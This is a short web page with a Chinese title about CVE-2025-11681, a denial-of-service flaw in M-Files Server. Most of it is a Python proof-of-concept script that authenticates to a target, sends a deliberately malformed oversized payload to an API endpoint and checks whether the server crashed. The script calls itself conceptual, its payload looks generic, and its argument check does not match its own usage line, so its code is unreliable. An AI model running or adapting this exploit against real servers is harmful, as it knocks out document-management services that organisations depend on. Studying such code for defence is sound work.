CVE-2025-11681 | M-Files Server拒绝服务漏洞

# CVE-2025-11681 PoC - M-Files Server DoS # Target: M-Files Server < 25.11.15392.1, < 25.2 LTS SR2, < 25.8 LTS SR2 # Author: Security Researcher # Note: This is a conceptual PoC for educational purposes only import requests import sys import time def exploit_mfiles_dos(target_url, username, password): """ M-Files Server DoS vulnerability exploitation This PoC demonstrates how an authenticated user can trigger a denial of service condition in vulnerable M-Files Server versions. """ # Login to M-Files Server session = requests.Session() # Step 1: Authenticate to M-Files login_url = f"{target_url}/MFiles/API/server/authentication.aspx" login_data = { 'username': username, 'password': password, 'database': 'Sample Vault' } try: # Attempt login response = session.post(login_url, data=login_data, timeout=10) if response.status_code != 200: print(f"[-] Authentication failed") return False print(f"[+] Successfully authenticated as {username}") # Step 2: Send malicious request to trigger DoS # This payload exploits the vulnerability in MFserver process exploit_url = f"{target_url}/MFiles/API/v1/objects/collections" # Malformed request payload that triggers the vulnerability malicious_payload = { 'objver': 'A' * 10000, # Overflow condition 'property': '\x00' * 5000, # Null byte injection 'type': -1 # Invalid type } print(f"[*] Sending malicious request to trigger DoS...") response = session.post(exploit_url, json=malicious_payload, timeout=5) # Step 3: Verify server crash time.sleep(2) health_check = session.get(f"{target_url}/MFiles/API/server/healthcheck", timeout=10) if health_check.status_code != 200: print(f"[+] DoS condition confirmed - MFserver process crashed") return True else: print(f"[*] Server still responding - may need payload adjustment") return False except requests.exceptions.RequestException as e: print(f"[+] DoS triggered - Server unreachable: {str(e)}") return True if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: {sys.argv[0]} <target_url> <username> <password>") print(f"Example: {sys.argv[0]} https://mfiles-server.local demo password") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_mfiles_dos(target, user, pwd)